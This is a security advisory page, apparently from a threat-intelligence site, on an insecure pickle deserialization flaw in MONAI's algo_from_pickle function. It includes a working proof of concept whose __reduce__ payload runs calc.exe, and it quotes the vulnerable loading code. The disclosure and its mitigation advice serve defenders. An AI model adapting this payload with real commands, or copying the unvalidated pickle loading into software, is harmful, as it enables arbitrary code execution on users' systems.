MONAI: Unsafe functions lead to pickle deserialization rce
### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
AI Analysis
Technical Summary
The vulnerability exists in the algo_from_pickle function in monai/auto3dseg/utils.py, which reads a pickle file and deserializes its contents using pickle.loads without validating the input. This unsafe deserialization can be exploited by an attacker to execute arbitrary code, as demonstrated by a proof-of-concept that triggers subprocess.call to run commands. The issue is classified as CWE-502 (Insecure Deserialization) and has a CVSS 3.1 score of 7.6 (High).
Potential Impact
Successful exploitation allows an attacker with access to a crafted pickle file to execute arbitrary code on the system running the vulnerable MONAI version. This can lead to full compromise of the affected environment, including confidentiality, integrity, and availability impacts.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade MONAI to version 1.6.0 or later where this issue is fixed. Additionally, avoid deserializing untrusted pickle data or implement strict validation before deserialization.
MONAI: Unsafe functions lead to pickle deserialization rce
Description
### Summary The `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities. ### Details poc ``` import pickle import subprocess class MaliciousAlgo: def __reduce__(self): return (subprocess.call, (['calc.exe'],)) malicious_algo_bytes = pickle.dumps(MaliciousAlgo()) attack_data = { "algo_bytes": malicious_algo_bytes, } attack_pickle_file = "attack_algo.pkl" with open(attack_pickle_file, "wb") as f: f.write(pickle.dumps(attack_data)) ``` Generate the malicious file "attack_algo.pkl" through POC. ``` from monai.auto3dseg.utils import algo_from_pickle attack_pickle_file = "attack_algo.pkl" result = algo_from_pickle(attack_pickle_file) ``` Ultimately, it will trigger pickle.load through a file to identify the command execution. <img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" /> Causes of the vulnerability: ``` def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any: with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) ``` ### Impact Arbitrary code execution Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
CVSS v3.1
Score 7.6high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability exists in the algo_from_pickle function in monai/auto3dseg/utils.py, which reads a pickle file and deserializes its contents using pickle.loads without validating the input. This unsafe deserialization can be exploited by an attacker to execute arbitrary code, as demonstrated by a proof-of-concept that triggers subprocess.call to run commands. The issue is classified as CWE-502 (Insecure Deserialization) and has a CVSS 3.1 score of 7.6 (High).
Potential Impact
Successful exploitation allows an attacker with access to a crafted pickle file to execute arbitrary code on the system running the vulnerable MONAI version. This can lead to full compromise of the affected environment, including confidentiality, integrity, and availability impacts.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade MONAI to version 1.6.0 or later where this issue is fixed. Additionally, avoid deserializing untrusted pickle data or implement strict validation before deserialization.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-89gg-p5r5-q6r4
- Osv Schema Version
- 1.4.0
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a6daad5bf32cb7a346679e6
Added to database: 08/01/2026, 08:14:13 UTC
Last enriched: 08/01/2026, 08:18:02 UTC
Last updated: 09/14/2026, 13:31:44 UTC
Views: 45
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.